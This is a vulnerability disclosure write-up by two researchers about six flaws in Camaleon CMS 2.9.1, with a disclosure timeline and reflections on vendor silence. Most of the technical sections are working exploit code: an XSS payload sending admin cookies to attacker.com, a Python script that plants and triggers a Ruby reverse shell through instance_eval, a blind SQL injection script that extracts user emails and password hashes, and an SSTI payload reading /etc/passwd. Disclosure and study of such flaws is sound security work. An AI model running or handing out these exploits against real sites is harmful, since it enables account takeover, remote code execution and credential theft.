How We Found 6 Vulnerabilities in Camaleon CMS 2.9.1

Researchers
| Researcher | Website | GitHub | |
|---|---|---|---|
| Amir Aliu | amiraliu.vercel.app | AmirAliuA | |
| Enrik Mustafa | enrik-m.github.io | enrik-m |
Resources
| Resource | Link |
|---|---|
| Full Vulnerability Report (PDF) | camaleon-cms-security-issues.pdf |
| Enrik's Technical Analysis | Camaleon CMS Vulnerabilities |
| Vendor Acknowledgment (2.9.2) | Release Notes |
| #2 XSS Payload | xss_payload.js |
| #3 RCE PoC | select-eval-rce.py |
| #5 SQLite Dump PoC | sqlite-dump-poc.py |
Introduction
Quick background so everything makes sense.
Me and my cousin (Enrik) are in a small CTF team called KSAL Cyber Team, a group of like-minded cybersecurity enthusiasts. We had just finished THJCC CTF 2026 so we were rightfully on an adrenaline rush and had nothing else to do.
So we started doing HackTheBox challenges together and came across one that used Camaleon CMS. We obviously had never heard of it before, so we got curious and pulled up the source code.
Our curiousity turned into full security review and six documented vulnerabilites.
We started documenting our findings and tried to report it responsibly. That part, unfortunately, didn't go that well.
Huge thanks to the members of DEFCON GROUP PRISHTINA (DC38338) for helping us confirm the vulnerabilites early on.
Disclosure Timeline
| Date | Event |
|---|---|
| 19/02/2026 | Vendor contacted (initial disclosure email sent) |
| 20/02/2026 | Follow-up sent with additional finding (CSRF chain) |
| 29/03/2026 | GitHub Issue #1135 opened after no response |
| 09/04/2026 | Full detailed report sent, MITRE submissions initiated |
| 01/05/2026 | Vendor released 2.9.2 (all findings patched, researchers credited) |
| Pending | CVE assignment by MITRE |
On February 19, 2026 (19/02/2026), the same day we found everything, we sent a disclosure email to the vendor. We included all the researchers mentioned in their SECURITY.MD, laid out some of the vulnerabilities clearly, and told them to contact us for full details.
Looking back, this was our first mistake. We should have have included full technical details and reproduction steps upfront instead of expecting them to reach out and ask. We were treating it like the start of a conversation when we should have treated it like a complete report.
We didn't receive a response.
While waiting for a response, we actually ended up finding the rest of the vulnerabilities. We figured we'd give them at least 30 days before doing anything, since none of the findings were being actively exploited publicly, we kept digging.
On February 20, Enrik sent a follow-up email with an additional finding (improper CSRF protection on certain admin endpoints), which when chained with the contact form broken access control, gave you a full privilege escalation path to admin account creation and from there into RCE.
No response was received to that email either.
After about 40 days of total silence, we opened GitHub Issue #1135 on March 29, 2026 (29/03/2026).
The issue did not receive a response either.
At some point after that, fixes started quietly appearing in the repository. We have no way of knowing whether they were triggered by our report, independent tooling, or something else entirely.
We found out by watching commits:
- Commit 7600117, Fix RCE in custom-field i18n rendering and add end-to-end regression coverage
- Commit 1005d44, Fix RCE in custom-field i18n rendering and add end-to-end regression coverage
- Commit e1557c3, Fix SSRF vulnerability in 'Upload from url'
- Commit 3c46b6e, Fix SSRF vulnerability in 'Upload from url' media feature
- Commit ffd6d54, Add permissions for Custom Fields management
These commits addressed some other stuff we had found:
- An i18n-related RCE and
- SSRF vulnerabilities in the file upload feature.
We had mentioned these to them but hadn't written up full reports yet when the fixes just appeared. Since nobody coordinated on any of this, we're not publishing the technical details for those ones.
As of April 9, 2026 (09/04/2026), we still haven't received a single response. We emailed them again, we sent the full detailed report and we're continuing with MITRE reports.
Because of that, we had to drop some findings from this writeup (and our report) entirely.
I'll be staying clear from this CMS. Not because of how we were treated, but I have no interest in putting more time into a project that handles disclosure this way. The site constantly crashed during testing, I genuinely couldn't tell if something was our fault or theirs.
Update (May 1, 2026): The vendor released version 2.9.2, which addressed all six of our reported findings. Amir Aliu and Enrik Mustafa were credited by name in the release notes for findings #1, #2, #3, #5, and #6. No direct communication was made at any point during the process, but the acknowledgment and fixes are there. Full release notes: 2.9.2.
CVE Information
| Field | Value |
|---|---|
| CVE ID | Pending assignment |
| Vendor | Camaleon CMS |
| Affected Version | ≤ 2.9.1 |
| Vulnerability Types | Broken Access Control, Stored XSS ×2, Authenticated RCE ×2, SQL Injection, SSTI |
Findings Summary
| # | Finding | Severity | CVSS |
|---|---|---|---|
| 1 | Broken Access Control in Plugin Administration Routes | Medium | 6.3 |
| 2 | Stored XSS via Draft Post Title | High | 8.7 |
| 3 | RCE via instance_eval in Select Eval Custom Fields | High | 7.2 |
| 4 | Stored XSS via Contact Form previous_html Rendering | High | 8.7 |
| 5 | Authenticated SQL Injection via Slug Translations | Medium | 6.5 |
| 6 | Authenticated SSTI leading to RCE via render inline in test_email | Medium | 6.6 |
1. Broken Access Control in Plugin Administration Routes
| CVSS Score | CVSS Vector |
|---|---|
| CVSS: 6.3 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L |
We were going through every admin endpoint logged in as a low-privileged user, just checking what we could and couldn't access. Turns out we could access a lot more than we should have been able to.
These four routes had zero authorization checks on them:
/admin/plugins/attack/settings/admin/plugins/front_cache/settings/admin/plugins/cama_meta_tag/settings/admin/plugins/cama_contact_form/admin_forms/:id
There's no proper role/permission checking. You can poke around the admin plugin settings like it's nothing. This one also sets up several of the other findings below, since it gives low-privileged users access to things they really shouldn't be touching.
2. Stored XSS via Draft Post Title
| CVSS Score | CVSS Vector |
|---|---|
| CVSS: 8.7 | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
The post title field stores whatever you put in it. No sanitization, encoding or anything. So we put a script tag in it.
Since creating a draft requires a POST request you can't just paste a URL, you'd do it from the browser console while logged in as a low-privileged user:
fetch("/admin/post_type/2/drafts?post_id=2", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" },
body: new URLSearchParams({
authenticity_token: document.querySelector('meta[name="csrf-token"]').content,
"post[title]": "<img src=x onerror=fetch('https://attacker.com',{method:'POST',mode:'no-cors',body:document.cookie})>",
"post[slug]": "xss-draft-" + Date.now(),
"post[content]": "a"
})
}).then(r => r.text()).then(console.log)The payload sits there waiting. The moment an admin visits /admin/post_type/2/posts?s=draft to check the drafts queue, it fires and ships their session cookie off. We confirmed this gets you full account takeover.
3. Authenticated RCE via instance_eval in Select Eval Custom Fields
| CVSS Score | CVSS Vector |
|---|---|
| CVSS: 7.2 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
This was one of our starting points, the very first finding we did that made us lose our minds.
There's a custom field type in Camaleon called select_eval. The view that renders it lives at:
And inside it, the user-supplied command option gets passed straight into Ruby's instance_eval:
instance_eval(field_options[:command])Whatever you put in that field, the server runs as Ruby code. And because it's stored in the database, it runs every single time that page renders, not just once.
So:
- Log in as admin
- Go to Settings -> Custom Fields -> New
- Create a
select_evalfield - Drop in a reverse shell and save it
- Start a netcat listener
- Visit
/admin/post_type/7/posts/newto trigger the render - Profit??? You literally have a shell.
Of course, we automated it using Python:
import requests
import re
import argparse
import sys
from urllib.parse import urljoin
def login(session, base_url, username, password):
"""Login to Camaleon CMS admin panel."""
login_url = urljoin(base_url, "/admin/login")
print(f"[*] Fetching login page: {login_url}")
resp = session.get(login_url)
if resp.status_code != 200:
print(f"[-] Failed to fetch login page: {resp.status_code}")
return False
html = resp.text
token_match = re.search(r'name="authenticity_token" value="([^"]+)"', html) or \
re.search(r'<meta name="csrf-token" content="([^"]+)"', html)
if not token_match:
print("[-] Could not extract authenticity_token / csrf-token")
return False
token = token_match.group(1)
print(f"[+] Login token: {token[:20]}...")
login_data = {
"authenticity_token": token,
"user[username]": username,
"user[password]": password,
}
print(f"[*] Logging in as {username}")
post_resp = session.post(login_url, data=login_data, allow_redirects=True)
if "/admin/logout" in post_resp.text.lower() or any(x in post_resp.url for x in ["/admin", "/dashboard"]):
print("[+] Login successful")
return True
else:
print(f"[-] Login failed (status {post_resp.status_code}, url: {post_resp.url})")
return False
def main():
parser = argparse.ArgumentParser(
description="Camaleon CMS PoC: RCE via select_eval custom field (instance_eval)"
)
parser.add_argument("--target", required=True, help="e.g. http://127.0.0.1:3000")
parser.add_argument("--lhost", required=True, help="Listener IP")
parser.add_argument("--lport", type=int, default=4444)
parser.add_argument("--username", default="admin")
parser.add_argument("--password", required=True)
parser.add_argument("--cookies", help="Semicolon-separated cookies (alternative to login)")
args = parser.parse_args()
target = args.target.rstrip("/")
print("=== Camaleon CMS select_eval RCE PoC ===")
print(f"Target : {target}")
print(f"Rev shell : {args.lhost}:{args.lport}")
print("Start listener: nc -lvnp", {args.lport})
print("-" * 60)
session = requests.Session()
session.headers.update({"User-Agent": "Mozilla/5.0"})
if args.cookies and not (args.username and args.password):
cookie_dict = {}
for item in args.cookies.split(";"):
item = item.strip()
if "=" in item:
k, v = item.split("=", 1)
cookie_dict[k] = v
session.cookies.update(cookie_dict)
print("[*] Using provided cookies")
elif args.username and args.password:
if not login(session, target, args.username, args.password):
print("[-] Login failed. Exiting.")
sys.exit(1)
else:
print("[-] Provide --username/--password or --cookies")
sys.exit(1)
# Get CSRF tokens and dynamic field key
new_url = urljoin(target, "/admin/settings/custom_fields/new")
resp_new = session.get(new_url)
if resp_new.status_code != 200:
print(f"[-] Failed to reach /new (status {resp_new.status_code})")
sys.exit(1)
html = resp_new.text
cf_token_match = re.search(r'name="authenticity_token" value="([^"]+)"', html) or \
re.search(r'<meta name="csrf-token" content="([^"]+)"', html)
if not cf_token_match:
print("[-] No authenticity_token found")
sys.exit(1)
cf_token = cf_token_match.group(1)
meta_match = re.search(r'<meta name="csrf-token" content="([^"]+)"', html)
meta = meta_match.group(1) if meta_match else cf_token
get_items_url = urljoin(target, "/admin/settings/custom_fields/get_items/select_eval")
headers_ajax = {"X-Requested-With": "XMLHttpRequest", "X-CSRF-Token": meta}
resp_items = session.post(get_items_url, headers=headers_ajax)
if resp_items.status_code != 200:
print(f"[-] get_items failed: {resp_items.status_code}")
sys.exit(1)
k_match = re.search(r'name="fields\[([^\]]+)\]\[id\]"', resp_items.text)
if not k_match:
print("[-] Could not find dynamic field key K")
sys.exit(1)
K = k_match.group(1)
print(f"[+] Field key K = {K}")
# Reverse Shell Payload
payload = (
f"require 'socket'; f=TCPSocket.open('{args.lhost}',{args.lport}).to_i; "
f"spawn('/bin/bash','-i',in:f,out:f,err:f); {{'ok'=>'ok'}}"
)
print(f"[*] Using payload:\n {payload}")
# Create malicious custom field group
create_url = urljoin(target, "/admin/settings/custom_fields")
create_data = {
"authenticity_token": cf_token,
"custom_field_group[name]": "RevShellGroup",
"custom_field_group[is_repeat]": "0",
"custom_field_group[description]": "reverse shell",
"custom_field_group[assign_group]": "PostType_Post,7",
"custom_field_group[caption]": "Posts in: Page",
f"fields[{K}][id]": "",
f"fields[{K}][name]": "Rev Eval",
f"fields[{K}][slug]": "rev_eval",
f"fields[{K}][description]": "rev",
f"field_options[{K}][field_key]": "select_eval",
f"field_options[{K}][panel_hidden]": "",
f"field_options[{K}][command]": payload,
f"field_options[{K}][default_value]": "",
f"field_options[{K}][required]": "0",
}
headers_create = {"Origin": target, "Referer": new_url}
print("[*] Creating malicious field group...")
resp_create = session.post(create_url, data=create_data, headers=headers_create)
print(f"[+] Create status: {resp_create.status_code}")
if resp_create.status_code not in (200, 302, 303):
print(" Warning: creation may have failed")
# Trigger
trigger_url = urljoin(target, "/admin/post_type/7/posts/new")
print(f"[*] Triggering RCE: GET {trigger_url}")
session.get(trigger_url)
print("\n[+] Exploit sent. Check your nc listener.")
if __name__ == "__main__":
main()4. Stored XSS via Contact Form previous_html Rendering
| CVSS Score | CVSS Vector |
|---|---|
| CVSS: 8.7 | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
The contact form plugin has a field called "Before HTML" which renders HTML before the form.
Normally this would require higher privileges to abuse. But remember finding #1? A low-privileged user can already reach:
- /admin/plugins/cama_contact_form/admin_forms/:id/edit
freely. So you just drop a script tag in the Before HTML field, save it, and anyone who loads a page with that contact form on it gets hit.
5. Authenticated SQL Injection via Slug Translations in PostUniqValidator
| CVSS Score | CVSS Vector |
|---|---|
| CVSS: 6.5 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
The post[slug] field when creating a new post goes into PostUniqValidator without being parameterized properly, which means you can stick SQL into it and the database will happily run it.
We tested this on a SQLite installation and were able to dump the entire database with boolean-based injection.
The underlying injection point is the same across backends so this should work on PostgreSQL and MySQL too, we just didn't bother adapting the payloads to confirm.
#!/usr/bin/env python3
from __future__ import annotations
import argparse
import re
import secrets
import sys
from dataclasses import dataclass
import requests
def extract_csrf(html: str) -> str:
m = re.search(r'name="csrf-token"\s+content="([^"]+)"', html)
if not m:
raise RuntimeError("Could not find CSRF token in HTML")
return m.group(1)
def first_category_id(html: str) -> str | None:
m = re.search(r'name="categories\[\]"\s+value="(\d+)"', html)
return m.group(1) if m else None
def render_table(headers: list[str], rows: list[list[str]]) -> str:
widths = [len(h) for h in headers]
for row in rows:
for i, cell in enumerate(row):
widths[i] = max(widths[i], len(cell))
sep = "+" + "+".join("-" * (w + 2) for w in widths) + "+"
def fmt(values: list[str]) -> str:
return "|" + "|".join(f" {values[i].ljust(widths[i])} " for i in range(len(values))) + "|"
out = [sep, fmt(headers), sep]
out.extend(fmt(row) for row in rows)
out.append(sep)
return "\n".join(out)
@dataclass
class UserRow:
username: str
email: str
role: str
password_digest_prefix: str
class H4SQLiHTTPPoC:
def __init__(
self,
base_url: str,
username: str,
password: str,
post_type_id: int,
timeout: int,
) -> None:
self.base = base_url.rstrip("/")
self.username = username
self.password = password
self.post_type_id = post_type_id
self.timeout = timeout
self.s = requests.Session()
self.req_count = 0
def _request(self, method: str, url: str, **kwargs) -> requests.Response:
self.req_count += 1
r = self.s.request(method, url, timeout=self.timeout, **kwargs)
return r
def login(self) -> None:
login_url = f"{self.base}/admin/login"
r = self._request("GET", login_url)
r.raise_for_status()
csrf = extract_csrf(r.text)
r2 = self._request(
"POST",
login_url,
data={
"authenticity_token": csrf,
"user[username]": self.username,
"user[password]": self.password,
},
allow_redirects=True,
)
r2.raise_for_status()
if "/admin/login" in r2.url and "user[password]" in r2.text:
raise RuntimeError("Login failed")
def _new_post_form(self) -> tuple[str, str | None]:
url = f"{self.base}/admin/post_type/{self.post_type_id}/posts/new"
r = self._request("GET", url)
r.raise_for_status()
return extract_csrf(r.text), first_category_id(r.text)
def oracle(self, condition_sql: str) -> bool:
csrf, category_id = self._new_post_form()
marker = f"poc_{secrets.token_hex(4)}"
slug = f"{marker}' OR (CASE WHEN ({condition_sql}) THEN 1 ELSE JSON('x') END)=1 OR '1'='2"
data = {
"authenticity_token": csrf,
"post[title]": "h4-sqli-poc",
"post[slug]": slug,
"post[status]": "published",
"post[content]": "x",
"meta[summary]": "x",
"meta[has_comments]": "1",
"tags": "x",
"commit": "Create",
}
if category_id:
data["categories[]"] = category_id
post_url = f"{self.base}/admin/post_type/{self.post_type_id}/posts"
r = self._request("POST", post_url, data=data, allow_redirects=False)
if r.status_code == 302:
return True
if r.status_code == 500:
return False
raise RuntimeError(f"Unexpected oracle response status: {r.status_code}")
def exists_user_offset(self, offset: int) -> bool:
return self.oracle(f"EXISTS(SELECT 1 FROM cama_users ORDER BY id LIMIT 1 OFFSET {offset})")
def extract_len(self, expr_sql: str, max_len: int) -> int | None:
for n in range(max_len + 1):
if self.oracle(f"COALESCE(LENGTH(({expr_sql})),0)={n}"):
return n
return None
def extract_value(self, expr_sql: str, max_len: int, charset: str, label: str) -> str | None:
length = self.extract_len(expr_sql, max_len)
if length is None:
print(f" [-] Could not determine length for {label}")
return None
if length == 0:
return ""
out: list[str] = []
for pos in range(1, length + 1):
found = "?"
for ch in charset:
esc = ch.replace("'", "''")
cond = f"SUBSTR(COALESCE(({expr_sql}),''),{pos},1)='{esc}'"
if self.oracle(cond):
found = ch
break
out.append(found)
print(f"\r [*] {label}: {''.join(out)}", end="", flush=True)
print()
return "".join(out)
def main() -> int:
ap = argparse.ArgumentParser(description="PoC Auto-Login and Extract Local Users")
ap.add_argument("--base-url", default="http://127.0.0.1:3000")
ap.add_argument("--username", default="admin")
ap.add_argument("--password", default="admin123")
ap.add_argument("--post-type-id", type=int, default=2)
ap.add_argument("--max-users", type=int, default=10)
ap.add_argument("--digest-prefix-len", type=int, default=12)
ap.add_argument("--timeout", type=int, default=20)
args = ap.parse_args()
username_cs = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-"
email_cs = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@._+-"
role_cs = "abcdefghijklmnopqrstuvwxyz_"
digest_cs = "./$abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
poc = H4SQLiHTTPPoC(
base_url=args.base_url,
username=args.username,
password=args.password,
post_type_id=args.post_type_id,
timeout=args.timeout,
)
print("[1/3] Login...")
poc.login()
print("[2/3] Extracting users via SQLi oracle...")
users: list[UserRow] = []
for off in range(args.max_users):
print(f" - probing row offset {off}")
if not poc.exists_user_offset(off):
break
uexpr = f"SELECT username FROM cama_users ORDER BY id LIMIT 1 OFFSET {off}"
eexpr = f"SELECT email FROM cama_users ORDER BY id LIMIT 1 OFFSET {off}"
rexpr = f"SELECT role FROM cama_users ORDER BY id LIMIT 1 OFFSET {off}"
pexpr = (
f"SELECT SUBSTR(password_digest,1,{args.digest_prefix_len}) "
f"FROM cama_users ORDER BY id LIMIT 1 OFFSET {off}"
)
username = poc.extract_value(uexpr, 64, username_cs, f"user[{off}].username")
if not username:
print(f" [-] stopping at offset {off} (empty username)")
break
email = poc.extract_value(eexpr, 128, email_cs, f"user[{off}].email") or ""
role = poc.extract_value(rexpr, 32, role_cs, f"user[{off}].role") or ""
digest = (
poc.extract_value(
pexpr,
args.digest_prefix_len,
digest_cs,
f"user[{off}].password_digest_prefix",
)
or ""
)
users.append(UserRow(username=username, email=email, role=role, password_digest_prefix=digest))
print("[3/3] Result")
if not users:
print("No users extracted.")
print(f"HTTP requests sent: {poc.req_count}")
return 1
rows = []
for idx, u in enumerate(users, start=1):
rows.append([str(idx), u.username, u.email, u.role, u.password_digest_prefix])
print(render_table(["#", "username", "email", "role", "password_digest_prefix"], rows))
print(f"HTTP requests sent: {poc.req_count}")
return 0
if __name__ == "__main__":
sys.exit(main())6. Authenticated SSTI leading to RCE via render inline in test_email
| CVSS Score | CVSS Vector |
|---|---|
| CVSS: 6.6 | CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H |
This one's a bit conditional but still worth documenting.
The /admin/settings/test_email endpoint takes your email parameter, tries to send a
test email, and if something goes wrong it does:
render inline: e.messageWhich means the error message gets rendered as an ERB template. If you can get the SMTP server to bounce an error that contains your payload, Rails evaluates it.
To pull this off you need:
- Admin access
- An SMTP server you control that rejects
RCPT TO - While echoing the recipient back in the error, and
raise_delivery_errorsset to true in the config
With all that lined up, something like:
/admin/settings/test_email?email=<%25%3DFile.read('%2Fetc%2Fpasswd')%25>%40example.comGets evaluated server-side and the output shows up in the response.
Conclusion
Ending the whole situation with six vulnerabilities from what was supposed to be a casual session. Pretty happy.
The technical side was fun, of course, but what I'm taking away from this more than anything is everything that happened after we found the bugs. This whole experience has taught me a lot of things I didn't think about before.
On the reporting side, our first contact email was fine, but looking back at it we should've had a solid report with the full findings. Reproduction steps, impact, affected versions, suggest fix, all of it in the first email.
On the vendor side, before doing any research on an open source project, check how they handle security reports. Look at their past CVEs, look at how long it took them to respond, look at how they treated the researchers who reported them. Some projects have a great track record, some of them absolutely not. It doesn't take you that long, but it saves you A LOT of time, trust me.
Timing wise, waiting 40+ days without a response, then seeing fixes appear in commmits with no communication, that leaves you in a difficult position. Going forward, I'll mention the deadline upfront (the way Google has it) in the initial email, making it clear that public disclosure on a specific date regardless of vendor response.
It's a standard practice for a reason.
This was our first real coordinated disclosure and despite how it went on the vendor's end, I'm glad we did it properly on ours. We documented everything, we reported responsibly, we waited, we followed up. We didn't make anything public, making any sites or users vulnerable.
Enrik also wrote up his own technical analysis of these findings over on his blog: Camaleon CMS Vulnerabilities
I'll keep doing this, just not on Camaleon CMS.
Happy hacking!